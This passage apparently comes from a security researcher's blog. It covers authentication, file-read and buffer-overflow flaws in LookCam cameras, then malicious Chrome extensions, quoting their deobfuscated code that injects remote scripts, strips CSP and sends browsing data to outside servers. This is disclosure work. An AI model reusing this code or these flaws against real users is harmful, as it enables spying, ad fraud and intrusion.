The LookCam app will also send the access password along with every other command yet this password isn’t checked by the firmware either. I tried adding a trivial modification to the LookCam app which made it ignore the result of the LoginDev command. And this in fact bypassed the authentication completely, allowing me to access my camera despite a wrong password.
I could also confirm their finding that the DownloadFile command will read arbitrary files, allowing me to extract the firmware of my camera with the approach described in the paper. They even describe a trivial Remote Code Execution vulnerability which I also found in my firmware: that firmware often relies on running shell commands for tasks that could be easily done in its C language code.
This clearly isn’t the only Remote Code Execution vulnerability however. Here is some fairly typical code for this firmware:
char[256] buf;
char *cmd = cJSON_GetObjectItem(request, "cmd")->valuestring;
memset(buf, 0, sizeof(buf));
memcpy(buf, cmd, strlen(cmd));
This code copies a string (pointlessly but this isn’t the issue here). It completely fails to consider the size of the target buffer, going by the size of the incoming data instead. So any command larger than 255 bytes will cause a buffer overflow. And there is no stack canary here, Data Execution Prevention (DEP) and Address Space Layout Randomization (ASLR) are disabled, so nothing prevents this buffer overflow from being turned into Remote Code Execution.
Finally, I’ve discovered that the searchWiFiList command will produce the list of WiFi networks visible to the camera. These by itself often already allow a good guess as to where the camera is located. In combination with a geolocation service these will typically narrow down the camera’s position to a radius of only a few dozen meters.
The only complication here: most geolocation services require not the network names but the MAC addresses of the access points. The MAC addresses aren’t part of the response data however. But: searchWiFiList works by running iwlist shell command and storing the complete output in /tmp/wifi_scan.txt file. It reads this file but does not remove it. This means that the file can subsequently be downloaded via DownloadFile command (allows reading arbitrary files as mentioned above) and that one contains full data including MAC addresses of all access points. So somebody who happened to learn the device ID can not only access the video stream but also find out where exactly this footage is being recorded.
The camera I’ve been looking at is running firmware version 2023-11-22. Is there a newer version, maybe one that fixes the password checks or the already published Remote Code Execution vulnerability? I have no idea. If the firmware for these cameras is available somewhere online then I cannot find it. I’ve also been looking for some kind of update functionality in these devices. But there is only a generic script from the Anyka SDK which isn’t usable for anyone other than maybe the hardware vendor.
When looking at the firmware I noticed some code uploading 5 MiB data chunks to api.l040z.com (or apicn.l040z.com if you happen to own a BHCC device). Now uploading exactly 5 MiB is weird (this size is hardcoded) but inspecting the LookCam app confirmed it: this is cloud functionality, and the firmware regularly uploads videos in this way. At least it does that when cloud functionality is enabled.
First thing worth noting: while the cloud server uses regular HTTP rather than some exotic protocol, all connections to it are generally unencrypted. The firmware simply lacks a TLS library it could use, and so the server doesn’t bother with supporting TLS. Meaning for example: if you happen to use their cloud functionality your ISP better be very trustworthy because it can see all the data your camera sends to the LookCam cloud. In fact, your ISP could even run its own “cloud server” and the camera will happily send your recorded videos to it.
Anyone dare a guess what the app developers mean by “financial-grade encryption scheme” here? Is it worse or better than military-grade encryption?
Second interesting finding: the cloud server has no authentication whatsoever. The camera only needs to know its device ID when uploading to the cloud. And the LookCam app – well, any cloud-related requests here also require device ID only. If somebody happens to learn your device ID they will gain full access to your cloud storage.
Now you might think that you can simply skip paying for the cloud service which, depending on the package you book, can come for as much as $40 per month. But this doesn’t mean that you are on the safe side because you aren’t the one controlling the cloud functionality on your device, the cloud server is. Every time the device boots up it sends a request to http://api.l040z.com/camera/signurl and the response tells it whether cloud functionality needs to be enabled.
So if LookCam developers decide that they want to see what your camera is doing (or if Chinese authorities become interested in that), they can always adjust that server response and the camera will start uploading video snapshots. You won’t even notice anything because the LookCam app checks cloud configuration by requesting http://api.l040z.com/app/cloudConfig which can remain unchanged.
And they aren’t the only ones who can enable the cloud functionality of your device. Anybody who happens to know your device ID can buy a cloud package for it. This way they can get access to your video recordings without ever accessing your device directly. And you will only notice the cloud functionality being active if you happen to go to the corresponding tab in the LookCam app.
Now that you are aware of device IDs being highly sensitive data, you certainly won’t upload screenshots containing them to social media. Does that mean that your camera is safe because nobody other than you knows its ID?
The short answer is: you don’t know that. First of all, you simply don’t know who already has your device ID. Did the shop that sold you the camera write the ID down? Did they maybe record a sales pitch featuring your camera before they sold it to you? Did somebody notice your camera’s device ID show up in the list of WiFi networks when it was running in access point mode? Did anybody coming to your home run a script to discover PPPP devices on the network? Yes, all of that might seem unlikely, yet it should be reason enough to wonder whether your camera’s recordings are really as private as they should be.
Then there is the issue of unencrypted data transfers. Whenever you connect to your camera from outside your home network the LookCam app will send all data unencrypted – including the device ID. Do you do that when connected to public WiFi? At work? In a vacation home? You don’t know who else is listening.
And finally there is the matter of verification codes which are the only mechanism preventing somebody from enumerating all device IDs. How difficult would it be to guess a verification code? Verification codes seem to use 22 letters (all Latin uppercase letters but A, I, O, Q). With five letters this means around 5 million possible combinations. According to Paul Marrapese PPPP servers don’t implement rate limiting (page 33), making trying out all these combinations perfectly realistic – maybe not for all possible device IDs but definitely for some.
But that resource-intensive approach is only necessary as long as the algorithm used to generate verification codes is a secret. Yet we have to assume that at least CS2 Network’s 300 customers have access to that algorithm, given that their server software somehow validates device IDs. Are they all trustworthy? How much would it cost to become a “customer” simply in order to learn that algorithm?
And even if we are willing to assume that CS2 Network runs proper background checks to ensure that their algorithm remains a secret: how difficult would it be to guess that algorithm? I found a number of device IDs online, and my primitive analysis of their verification codes indicates that these aren’t distributed equally. There is a noticeable affinity for certain prime numbers, so the algorithm behind them is likely a similar hack job as the other CS2 Network algorithms, throwing in mathematical operations and table lookups semi-randomly to make things look complicated. How long would this approach hold if somebody with actual cryptanalysis knowledge decided to figure this out?
So if you happen to own one of these cameras, what does all this mean to you? Even if you never disclosed the camera’s device ID yourself, you cannot rely on it staying a secret. And this means that whatever your camera is recording is no longer private.
Are you using it as a security camera? Your security camera might now inform potential thieves of the stuff that you have standing around and the times when you leave home. It will also let them know where exactly you live.
Are you using it to keep an eye on your child? Just… don’t. Even if you think that you yourself have a right to violate your child’s privacy, you really don’t want anybody else to watch.
And even if you “have nothing to hide”: somebody could compromise the camera in order to hack other devices on your network or to simply make it part of a botnet. Such things happened before, many times actually.
So the best solution is to dispose of this camera ASAP. Don’t sell it please because this only moves the problem to the next person. The main question is: how do you know that the camera you get instead will do better? I can only think of one indicator: if you want to access the camera from outside your network it should involve explicit setup steps, likely changing router configuration. The camera shouldn’t just expose itself to the internet automatically.
But if you actually paid hundreds of dollars for that camera and dumping it isn’t an option: running it in a safe manner is complicated. As I mentioned already, simply blocking internet access for the camera won’t work. This can be worked around but it’s complex enough to be not worth doing. You should be better off by installing a custom firmware. I haven’t tried it but at least this one looks like somebody actually thought about security.
As far as I am aware, the first research on the PPPP protocol was published by Paul Marrapese in 2019. He found a number of vulnerabilities, including one brand of cameras shipping their algorithm to generate verification codes with their client application. Knowing this algorithm, device IDs could be enumerated easily. Paul used this flaw to display the locations of millions of affected devices. His DEF CON talk is linked from the website and well worth watching.
Edit (2025-09-15): I was wrong, there is at the very least this early analysis of the protocol by Zoltán Balázs (2016) (starting at page 29) and some research into a particular brand of PPPP-based cameras by Pierre Kim (2017).
A paper from the Warwick University (2023) researched LookCam app specifically. In additions to some vulnerabilities I mentioned here it contains a number of details on how these cameras operate.
This Elastic Labs article (2024) took a close look at some other PPPP-based cameras, finding a number of issues.
The CS2 Network sales presentation (2016) offers a fascinating look into the thinking of PPPP protocol designers and into how their system was meant to work.
Two weeks ago I published an article on 63 malicious Chrome extensions. In most cases I could only identify the extensions as malicious. With large parts of their logic being downloaded from some web servers, it wasn’t possible to analyze their functionality in detail.
However, for the Download Manager Integration Checklist extension I have all parts of the puzzle now. This article is a technical discussion of its functionality that somebody tried very hard to hide. I was also able to identify a number of related extensions that were missing from my previous article.
Update (2025-02-04): An update to Download Manager Integration Checklist extension has been released a day before I published this article, clearly prompted by me asking adindex about this. The update removes the malicious functionality and clears extension storage. Luckily, I’ve saved both the previous version and its storage contents.
Since my previous article I found a bunch more extensions with malicious functionality that is almost identical to Download Manager Integration Checklist. The extension Auto Resolution Quality for YouTube™ does not seem to be malicious (yet?) but shares many remarkable oddities with the other extensions.
| Name | Weekly active users | Extension ID | Featured |
|---|---|---|---|
| Freemybrowser | 10,000 | bibmocmlcdhadgblaekimealfcnafgfn | ✓ |
| AutoHD for Twitch™ | 195 | didbenpmfaidkhohcliedfmgbepkakam | |
| Free simple Adult Blocker with password | 1,000 | fgfoepffhjiinifbddlalpiamnfkdnim | |
| Convert PDF to JPEG/PNG | 20,000 | fkbmahbmakfabmbbjepgldgodbphahgc | |
| Download Manager Integration Checklist | 70,000 | ghkcpcihdonjljjddkmjccibagkjohpi | ✓ |
| Auto Resolution Quality for YouTube™ | 223 | hdangknebhddccoocjodjkbgbbedeaam | |
| Adblock.mx - Adblock for Chrome | 1,000 | hmaeodbfmgikoddffcfoedogkkiifhfe | ✓ |
| Auto Quality for YouTube™ | 100,000 | iaddfgegjgjelgkanamleadckkpnjpjc | |
| Anti phising safer browsing for chrome | 7,000 | jkokgpghakemlglpcdajghjjgliaamgc | ✓ |
| Darktheme for google translate | 40,000 | nmcamjpjiefpjagnjmkedchjkmedadhc | ✓ |
Additional IOCs:
The Download Manager Integration Checklist extension was an odd one on the list in my previous article. It has very minimal functionality: it’s merely supposed to display a set of instructions. This is a task that doesn’t require any permissions at all, yet the extension requests access to all websites and declarativeNetRequest permission. Apparently, nobody noticed this inconsistency so far.
Looking at the extension code, there is another oddity. The checklist displayed by the extension is downloaded from Firebase, Google’s online database. Yet there is also a download from https://help.internetdownloadmanager.top/checklist, with the response being handled by this function:
async function u(l) {
await chrome.storage.local.set({ checklist: l });
await chrome.declarativeNetRequest.updateDynamicRules({
addRules: l.list.add,
removeRuleIds: l.list.rm,
});
}
This is what I flagged as malicious functionality initially: part of the response is used to add declarativeNetRequest rules dynamically. At first I missed something however: the rest of the data being stored as checklist is also part of the malicious functionality, allowing execution of remote code:
function f() {
let doc = document.documentElement;
function updateHelpInfo(info, k) {
doc.setAttribute(k, info);
doc.dispatchEvent(new CustomEvent(k.substring(2)));
doc.removeAttribute(k);
}
document.addEventListener(
"description",
async ({ detail }) => {
const response = await chrome.runtime.sendMessage(
detail.msg,
);
document.dispatchEvent(
new CustomEvent(detail.responseEvent, {
detail: response,
}),
);
},
);
chrome.storage.local.get("checklist").then(
({ checklist }) => {
if (checklist && checklist.info && checklist.core) {
updateHelpInfo(checklist.info, checklist.core);
}
},
);
}
There is a tabs.onUpdated listener hidden within the legitimate webextension-polyfill module that will run this function for every web page via tabs.executeScript API.
This function looks fairly unsuspicious. Understanding its functionality is easier if you know that checklist.core is "onreset". So it takes the document element, fills its onreset attribute with some JavaScript code from checklist.info, triggers the reset event and removes the attribute again. That’s how this extension runs some server-provided code in the context of every website.
When the extension downloads its “checklist” immediately after installation the server response will be empty. Sort of: “nothing to see here, this is merely some dead code somebody forgot to remove.” The server sets a cookie however, allowing it to recognize the user on subsequent downloads. And only after two weeks or so it will respond with the real thing. For example, the list key of the response looks like this then:
"add": [
{
"action": {
"responseHeaders": [
{
"header": "Content-Security-Policy-Report-Only",
"operation": "remove"
},
{
"header": "Content-Security-Policy",
"operation": "remove"
}
],
"type": "modifyHeaders"
},
"condition": {
"resourceTypes": [
"main_frame"
],
"urlFilter": "*"
},
"id": 98765432,
"priority": 1
}
],
"rm": [
98765432
]
No surprise here, this is about removing Content Security Policy protection from all websites, making sure it doesn’t interfere when the extension injects its code into web pages.
As I already mentioned, the core key of the response is "onreset", an essential component towards executing the JavaScript code. And the JavaScript code in the info key is heavily obfuscated by JavaScript Obfuscator, with most strings and property names encrypted to make reverse engineering harder.
Of course this kind of obfuscation can still be reversed, and you can see the entire deobfuscated code here. Note that most function and variable names have been chosen randomly, the original names being meaningless. The code consists of three parts:
Marshalling of various extension APIs: tabs, storage, declarativeNetRequest. This uses DOM events to communicate with the function f() mentioned above, this function forwards the messages to the extension’s background worker and the worker then calls the respective APIs.
In principle, this allows reading out your entire browser state: how many tabs, what pages are loaded etc. Getting notified on changes is possible as well. The code doesn’t currently use this functionality, but the server can of course produce a different version of it any time, for all users or only for selected targets.
There is also another aspect here: in order to run remote code, this code has been moved into the website realm. This means however that any website can abuse these APIs as well. It’s only a matter of knowing which DOM events to send. Yes, this is a massive security issue.
Code downloading a 256 KiB binary blob from https://st.internetdownloadmanager.top/bff and storing it in encoded form as bff key in the extension storage. No, this isn’t your best friend forever but a Bloom filter. This filter is applied to SHA-256 hashes of domain names and determines on which domain names the main functionality should be activated.
With Bloom filters, it is impossible to determine which exact data went into it. It is possible however to try out guesses, to see which one it accepts. Here is the list of matching domains that I could find. This list looked random to me initially, and I even suspected that noise has been added to it in order to hide the real target domains. Later however I could identify it as the list of adindex advertisers, see below.
The main functionality: when active, it sends the full address of the current page to https://st.internetdownloadmanager.top/cwc2 and might get a “session” identifier back. It is likely that this this server stores the addresses it receives and sells the resulting browsing history. This part of the functionality stays hidden however.
The “session” handling is visible on the other hand. There is some rate limiting here, making sure that this functionality is triggered at most once per minute and no more than once every 12 hours for each domain. If activated, a message is sent back to the extension’s background worker telling it to connect to wss://pa.internetdownloadmanager.top/s/<session>. All further processing happens there.
Here we are back in the extension’s static code, no longer remotely downloaded code. The entry point for the “session” handling is function __create. Its purpose has been concealed, with some essential property and method names contained in the obfuscated code above or received from the web socket connection. I filled in these parts and simplified the code to make it easier to understand:
var __create = url => {
const socket = new this.WebSocket(url);
const buffer = {};
socket.onmessage = event => {
let message = event.data.arrayBuffer ? event.data : JSON.parse(event.data);
this.stepModifiedMatcher(socket, buffer, message)
};
};
stepModifiedMatcher =
async (socket, buffer, message) => {
if (message.arrayBuffer)
buffer[1] = message.arrayBuffer();
else {
let [url, options] = message;
if (buffer[1]) {
options.body = await buffer[1];
buffer[1] = null;
}
let response = await this.fetch(url, options);
let data = await Promise.all([
!message[3] ? response.arrayBuffer() : false,
JSON.stringify([...response.headers.entries()]),
response.status,
response.url,
response.redirected,
]);
for (const entry of data) {
if (socket.readyState === 1) {
socket.send(entry);
}
}
}
};
This receives instructions from the web socket connection on what requests to make. Upon success the extension sends information like response text, HTTP headers and HTTP status back to the server.
What is this good for? Before I could observe this code in action I was left guessing. Is this an elaborate approach to de-anonymize users? On some websites their name will be right there in the server response. Or is this about session hijacking? There would be session cookies in the headers and CSRF tokens in the response body, so the extension could be instrumented to perform whatever actions necessary on behalf of the attackers – like initiating a money transfer once the user logs into their PayPay account.
The reality turned out to be far more mundane. When I finally managed to trigger this functionality on the Ashley Madison website, I saw the extension perform lots of web requests. Apparently, it was replaying a browsing session that was recorded two days earlier with the Firefox browser. The entry point of this session: https://api.sslcertifications.org/v1/redirect?advertiserId=11EE385A29E861E389DA14DDA9D518B0&adspaceId=11EE4BCA2BF782C589DA14DDA9D518B0&customId=505 (redirecting to ashleymadison.com).
The server handling api.sslcertifications.org belongs to the German advertising company adindex. Their list of advertisers is mostly identical to the list of domains matched by the Bloom filter the extension uses. So this is ad fraud: the extension generates fake link clicks, making sure its owner earns money for “advertising” websites like Ashley Madison. It uses the user’s IP address and replays recorded sessions to make this look like legitimate traffic, hoping to avoid detection this way.
I contacted adindex and they confirmed that sslcertifications.org is a domain registered by a specific publisher but handled by adindex. They also said that they confronted the publisher in question with my findings and, having found their response unsatisfactory, blocked this publisher. Shortly afterwards the internetdownloadmanager.top domain became unreachable, and api.sslcertifications.org site no longer has a valid SSL certificate. Domains related to other extensions, the ones I didn’t mention in my request, are still accessible.
The adindex CEO declined to provide the identity of the problematic publisher. There are obvious data protection reasons for that. However, as I looked further I realized that he might have additional reasons to withhold this information.
While most extensions I list provide clearly fake names and addresses, the Auto Quality for YouTube™ extension is associated with the MegaXT website. That website doesn’t merely feature a portfolio of two browser extensions (the second one being an older Manifest V2 extension also geared towards running remote code) but also a real owner with a real name. Who just happens to be a developer at adindex.
There is also the company eokoko GmbH, developing Auto Resolution Quality for YouTube™ extension. This extension appears to be non-malicious at the moment, yet it shares a number of traits with the malicious extensions on my list. Director of this company is once again the same adindex developer.
And not just any developer. According to his website he used to be CTO at adindex in 2013 (I couldn’t find an independent confirmation for this). He also founded a company together with the adindex CEO in 2018, something that is confirmed by public records.
When I mentioned this connection in my communication with adindex CEO the response was:
[He] works for us as a freelancer in development. Employees (including freelancers) are generally not allowed to operate publisher accounts at adindex and the account in question does not belong to [this developer]. Whether he operates extensions is actually beyond my knowledge.
I want to conclude this article with some assorted history facts:
As noted last week I consider it highly problematic that Google for a long time allowed extensions to run code they downloaded from some web server, an approach that Mozilla prohibited long before Google even introduced extensions to their browser. For years this has been an easy way for malicious extensions to hide their functionality. When Google finally changed their mind, it wasn’t in form of a policy but rather a technical change introduced with Manifest V3.
As with most things about Manifest V3, these changes are meant for well-behaving extensions where they in fact improve security. As readers of this blog probably know, those who want to find loopholes will find them: I’ve already written about the Honey extension bundling its own JavaScript interpreter and malicious extensions essentially creating their own programming language. This article looks into more approaches I found used by malicious extensions in Chrome Web Store. And maybe Google will decide to prohibit remote code as a policy after all.
Update (2025-01-20): Added two extensions to the bonus section. Also indicated in the tables which extensions are currently featured in Chrome Web Store.
Update (2025-01-21): Got a sample of the malicious configurations for Phoenix Invicta extensions. Added a section describing it and removed “But what do these configurations actually do” section. Also added a bunch more domains to the IOCs section.
Update (2025-01-28): Corrected the “Netflix Party” section, Flipshope extension isn’t malicious after all. Also removed the attribution subsection here.
This article originally started as an investigation into Phoenix Invicta Inc. Consequently, this is the best researched part of it. While I could attribute only 14 extensions with rather meager user numbers to Phoenix Invicta, that’s likely because they’ve only started recently. I could find a large number of domain names, most of which aren’t currently being used by any extensions. A few are associated with extensions that have been removed from Chrome Web Store but most seem to be reserved for future use.
It can be assumed that these extensions are meant to inject ads into web pages, yet Phoenix Invicta clearly put some thought into plausible deniability. They can always claim their execution of remote code to be a bug in their otherwise perfectly legitimate extension functionality. So it will be interesting to see how Google will deal with these extensions, lacking (to my knowledge) any policies that apply here.
The malicious intent is a bit more obvious with Netflix Party and related extensions. This shouldn’t really come as a surprise to Google: the most popular extension of the group was a topic on this blog back in 2023, and a year before that McAfee already flagged two extensions of the group as malicious. Yet here we are, and these extensions are still capable of spying, affiliate fraud and cookie stuffing as described by McAfee. If anything, their potential to do damage has only increased.
Finally, the group of extensions around Sweet VPN is the most obviously malicious one. To be fair, what these extensions do is probably best described as obfuscation rather than remote code execution. Still, they download extensive instructions from their web servers even though these aren’t too flexible in what they can do without requiring changes to the extension code. Again there is spying on the users and likely affiliate fraud as well.
In the following sections I will be discussing each group separately, listing the extensions in question at the end of each section. There is also a complete list of websites involved in downloading instructions at the end of the article.
Let’s first take a look at an extension called “Volume Booster - Super Sound Booster.” It is one of several similar extensions and it is worth noting that the extension’s code is neither obfuscated nor minified. It isn’t hiding any of its functionality, relying on plausible deniability instead.
For example, in its manifest this extension requests access to all websites:
"host_permissions": [
"http://*/*",
"https://*/*"
],
Well, it obviously needs that access because it might have to boost volume on any website. Of course, it would be possible to write this extension in a way that the activeTab permission would suffice. But it isn’t built in this way.
Similarly, one could easily write a volume booster extension that doesn’t need to download a configuration file from some web server. In fact, this extension works just fine with its default configuration. But it will still download its configuration roughly every six hours just in case (code slightly simplified for readability):
let res = await fetch(`https://super-sound-booster.info/shortcuts?uuid=${userId}`,{
method: 'POST',
body: JSON.stringify({installParams}),
headers: { 'Content-Type': 'text/plain' }
});
let data = await res.json();
if (data.shortcuts) {
chrome.storage.local.set({
shortcuts: {
list: data.shortcuts,
updatedAt: Date.now(),
}
});
}
if (data.volumeHeaders) {
chrome.storage.local.set({
volumeHeaderRules: data.volumeHeaders
});
}
if (data.newsPage) {
this.openNewsPage(data.newsPage.pageId, data.newsPage.options);
}
This will send a unique user ID to a server which might then respond with a JSON file. Conveniently, the three possible values in this configuration file represent three malicious functions of the extensions.
The extension contains a default “shortcut” which it will inject into all web pages. It can typically be seen in the lower right corner of a web page:
And if you move your mouse pointer to that button a message shows up:
That’s it, it doesn’t do anything else. This “feature” makes no sense but it provides the extension with plausible deniability: it has a legitimate reason to inject HTML code into all web pages.
And of course that “shortcut” is remotely configurable. So the shortcuts value in the configuration response can define other HTML code to be injected, along with a regular expression determining which websites it should be applied to.
“Accidentally” this HTML code isn’t subject to the remote code restrictions that apply to browser extensions. After all, any JavaScript code contained here would execute in the context of the website, not in the context of the extension. While that code wouldn’t have access to the extension’s privileges, the end result is pretty much the same: it could e.g. spy on the user as they use the web page, transmit login credentials being entered, inject ads into the page and redirect searches to a different search engine.
There is only a slight issue here: a website might use a security mechanism called Content Security Policy (CSP). And that mechanism can for example restrict what kind of scripts are allowed to run on the web site, in the same way the browser restricts the allowed scripts for the extension.
The extension solves this issue by abusing the immensely powerful declarativeNetRequest API. Looking at the extension manifest, a static rule is defined for this API:
[
{
"id": 1,
"priority": 1,
"action": {
"type": "modifyHeaders",
"responseHeaders": [
{ "header": "gain-id", "operation": "remove" },
{ "header": "basic-gain", "operation": "remove" },
{ "header": "audio-simulation-64-bit", "operation": "remove" },
{ "header": "content-security-policy", "operation": "remove" },
{ "header": "audio-simulation-128-bit", "operation": "remove" },
{ "header": "x-frame-options", "operation": "remove" },
{ "header": "x-context-audio", "operation": "remove" }
]
},
"condition": { "urlFilter": "*", "resourceTypes": ["main_frame","sub_frame"] }
}
]
This removes a bunch of headers from all HTTP responses. Most headers listed here are red herrings – a gain-id HTTP header for example doesn’t really exist. But removing Content-Security-Policy header is meant to disable CSP protection on all websites. And removing X-Frame-Options header disables another security mechanism that might prevent injecting frames into a website. This probably means that the extension is meant to inject advertising frames into websites.
But these default declarativeNetRequest rules aren’t the end of the story. The volumeHeaders value in the configuration response allows adding more rules whenever the server decides that some are needed. As these rules aren’t code, the usual restrictions against remote code don’t apply here.
The name seems to suggest that these rules are all about messing with HTTP headers. And maybe this actually happens, e.g. adding cookie headers required for cookie stuffing. But judging from other extensions the main point is rather preventing any installed ad blockers from blocking ads displayed by the extension. Yet these rules provide even more damage potential. For example, declarativeNetRequest allows “redirecting” requests which on the first glance is a very convenient way to perform affiliate fraud. It also allows “redirecting” requests when a website loads a script from a trusted source, making it get a malicious script instead – another way to hijack websites.
Side-note: This abuse potential is the reason why legitimate ad blockers, while downloading their rules from a web server, never make these rules as powerful as the declarativeNetRequest API. It’s bad enough that a malicious rule could break the functionality of a website, but it shouldn’t be able to spy on the user for example.
Finally, there is the newsPage value in the configuration response. It is passed to the openNewsPage function which is essentially a wrapper around tabs.create() API. This will load a page in a new tab, something that extension developers typically use for benign things like asking for donations.
Except that Volume Booster and similar extensions don’t merely take a page address from the configuration but also some options. Volume Booster will take any options, other extensions will sometimes allow only specific options instead. One option that the developers of these extensions seem to particularly care about is active which allows opening tabs in background. This makes me suspect that the point of this feature is displaying pop-under advertisements.
There are many extensions similar to Volume Booster. The general approach seems to be:
declarativeNetRequest API. Alternatively (or additionally), use static rules in the extension that will remove pesky security headers from all websites, nobody will ask why you need that.Not all extensions implement all of these points. With some of the extensions the malicious functionality seems incomplete. I assume that it isn’t being added all at once, instead the support for malicious configurations is added slowly to avoid raising suspicions. And maybe for some extensions the current state is considered “good enough,” so nothing is to come here any more.
After I already published this article I finally got a sample of the malicious “shortcut” value, to be applied on all websites. Unsurprisingly, it had the form:
<img height="1" width="1" src="data:image/gif;base64,…"
onload="(() => {…})();this.remove()">
This injects an invisible image into the page, runs some JavaScript code via its load event handler and removes the image again. The JavaScript code consists of two code blocks. The first block goes like this:
if (isGoogle() || isFrame()) {
hideIt();
const script = yield loadScript();
if (script) {
window.eval.call(window, script);
window.gsrpdt = 1;
window.gsrpdta = '_new'
}
}
The isGoogle function looks for a Google subdomain and a query – this is about search pages. The isFrame function looks for frames but excludes “our frames” where the address contains all the strings q=, frmid and gsc.page. The loadScript function fetches a script from https://shurkul[.]online/v1712/g1001.js. This script then injects a hidden frame into the page, loaded either from kralforum.com.tr (Edge) or rumorpix.com (other browsers). There is also some tracking to an endpoint on dev.astralink.click but the main logic operating the frame is in the other code block.
The second code block looks like this (somewhat simplified for readability):
if (window.top == window.self) {
let response = await fetch('https://everyview.info/c', {
method: 'POST',
body: btoa(unescape(encodeURIComponent(JSON.stringify({
u: 'm5zthzwa3mimyyaq6e9',
e: 'ojkoofedgcdebdnajjeodlooojdphnlj',
d: document.location.hostname,
t: document.title,
'iso': 4
})))),
headers: {
'Content-Type': 'text/plain'
},
credentials: 'include'
});
let text = await response.text();
runScript(decodeURIComponent(escape(atob(text))));
} else {
window.addEventListener('message', function(event) {
event && event.data && event.data.boosterWorker &&
event.data.booster && runScript(event.data.booster);
});
}
So for top-level documents this downloads some script from everyview.info and runs it. That script in turn injects another script from lottingem.com. And that script loads some ads from gulkayak.com or topodat.info as well as Google ads, makes sure these are displayed in the frame and positions the frame above the search results. The result are ads which can be barely distinguished from actual search results, here is what I get searching for “amazon” for example:
The second code block also has some additional tracking going to doubleview.online, astato.online, doublestat.info, triplestat.online domains.
The payloads I got for the Manual Finder 2024 and Manuals Viewer extensions are similar but not identical. In particular, these use fivem.com.tr domain for the frame. But the result is essentially the same: ads that are almost impossible to distinguish from the search results. In this screenshot the link at the bottom is a search result, the one above it is an ad:
These extensions are associated with a company named Phoenix Invicta Inc, formerly Funteq Inc. While supposedly a US company of around 20 people, its terms of service claim to be governed by Hong Kong law, all while the company hires its employees in Ukraine. While it doesn’t seem to have any physical offices, the company offers its employees the use of two co-working spaces in Kyiv. To add even more confusion, Funteq Inc. was registered in the US with its “office address” being a two room apartment in Moscow.
Before founding this company in 2016 its CEO worked as CTO of something called Ormes.ru. Apparently, Ormes.ru was in the business of monetizing apps and browser extensions. Its sales pitches can still be found all over the web, offering extension developers to earn money with various kinds of ads. Clearly, there has been some competence transfer here.
Occasionally Phoenix Invicta websites will claim to be run by another company named Damiko Inc. Of course these claims don’t have to mean anything, as the same websites will also occasionally claim to be run by a company in the business of … checks notes … selling knifes.
Yet Damiko Inc. is officially offering a number of extensions in the Chrome Web Store. And while these certainly aren’t the same as the Phoenix Invicta extensions, all but one of these extensions share certain similarities with them. In particular, these extensions remove the Content-Security-Policy HTTP header despite having no means of injecting HTML content into web pages from what I can tell.
Damiko Inc. appears to be a subsidiary of the Russian TomskSoft LLC, operating in the US under the name Tomsk Inc. How does this fit together? Did TomskSoft contract Phoenix Invicta to develop browser extensions for them? Or is Phoenix Invicta another subsidiary of TomskSoft? Or some other construct maybe? I don’t know. I asked TomskSoft for comment on their relationship with this company but haven’t received a response so far.
The following extensions are associated with Phoenix Invicta:
| Name | Weekly active users | Extension ID | Featured |
|---|---|---|---|
| Click & Pick | 20 | acbcnnccgmpbkoeblinmoadogmmgodoo | |
| AdBlock for Youtube: Skip-n-Watch | 3,000 | coebfgijooginjcfgmmgiibomdcjnomi | |
| Dopni - Automatic Cashback Service | 19 | ekafoahfmdgaeefeeneiijbehnbocbij | |
| SkipAds Plus | 95 | emnhnjiiloghpnekjifmoimflkdmjhgp | |
| 1-Click Color Picker: Instant Eyedropper (hex, rgb, hsl) | 10,000 | fmpgmcidlaojgncjlhjkhfbjchafcfoe | |
| Better Color Picker - pick any color in Chrome | 10,000 | gpibachbddnihfkbjcfggbejjgjdijeb | |
| Easy Dark Mode | 869 | ibbkokjdcfjakihkpihlffljabiepdag | |
| Manuals Viewer | 101 | ieihbaicbgpebhkfebnfkdhkpdemljfb | |
| ScreenCapX - Full Page Screenshot | 20,000 | ihfedmikeegmkebekpjflhnlmfbafbfe | |
| Capture It - Easy Screenshot Tool (Full Page, Selected, Visible Area) | 48 | lkalpedlpidbenfnnldoboegepndcddk | |
| AdBlock - Ads and Youtube | 641 | nonajfcfdpeheinkafjiefpdhfalffof | |
| Manual Finder 2024 | 280 | ocbfgbpocngolfigkhfehckgeihdhgll | |
| Volume Booster - Super Sound Booster | 8,000 | ojkoofedgcdebdnajjeodlooojdphnlj | |
| Font Expert: Identify Fonts from Images & Websites | 666 | pjlheckmodimboibhpdcgkpkbpjfhooe |
The following table also lists the extensions officially developed by Damiko Inc. With these, there is no indication of malicious intent, yet all but the last one share similarities with Phoenix Invicta extensions above and remove security headers.
| Name | Weekly active users | Extension ID | Featured |
|---|---|---|---|
| Screen Recorder | 685 | bgnpgpfjdpmgfdegmmjdbppccdhjhdpe | |
| Halloween backgrounds and stickers for video calls and chats | 31 | fklkhoeemdncdhacelfjeaajhfhoenaa | |
| AI Webcam Effects + Recorder: Google Meet, Zoom, Discord & Other Meetings | 46 | iedbphhbpflhgpihkcceocomcdnemcbj | ✓ |
| Beauty Filter | 136 | mleflnbfifngdmiknggikhfmjjmioofi | |
| Background Noise Remover | 363 | njmhcidcdbaannpafjdljminaigdgolj | |
| Camera Picture In Picture (PIP Overlay) | 576 | pgejmpeimhjncennkkddmdknpgfblbcl |
Back in 2023 I pointed out that “Adblock all advertisements” is malicious and spying on its users. A year earlier McAfee already called out a bunch of extensions as malicious. For whatever reason, Google decided to let Adblock all advertisements stay, and three extensions from the McAfee article also remained in Chrome Web Store: Netflix Party, FlipShope and AutoBuy Flash Sales. Out of these three, Netflix Party and AutoBuy Flash Sales still (or again) contain malicious functionality.
Update (2025-01-28): This article originally claimed that FlipShope extension was also malicious and listed this extension cluster under the name of its developing company, Technosense Media. This was incorrect, the extension merely contained some recognizable but dead code. According to Technosense Media, they bought the extension in 2023. Presumably, the problematic code was introduced by the previous extension owner and is unused.
Coming back to Adblock all advertisements, it is still clearly spying on its users, using ad blocking functionality as a pretense to send the address of each page visited to its server (code slightly simplified for readability):
chrome.tabs.onUpdated.addListener(async (tabId, changeInfo, tab) => {
if ("complete" === changeInfo.status) {
let params = {
url: tab.url,
userId: await chrome.storage.sync.get("userId")
};
const response = await fetch("https://smartadblocker.com/extension/rules/api", {
method: "POST",
credentials: "include",
headers: { "Content-Type": "application/json" },
body: JSON.stringify(params)
});
const rules = await response.json();
…
}
});
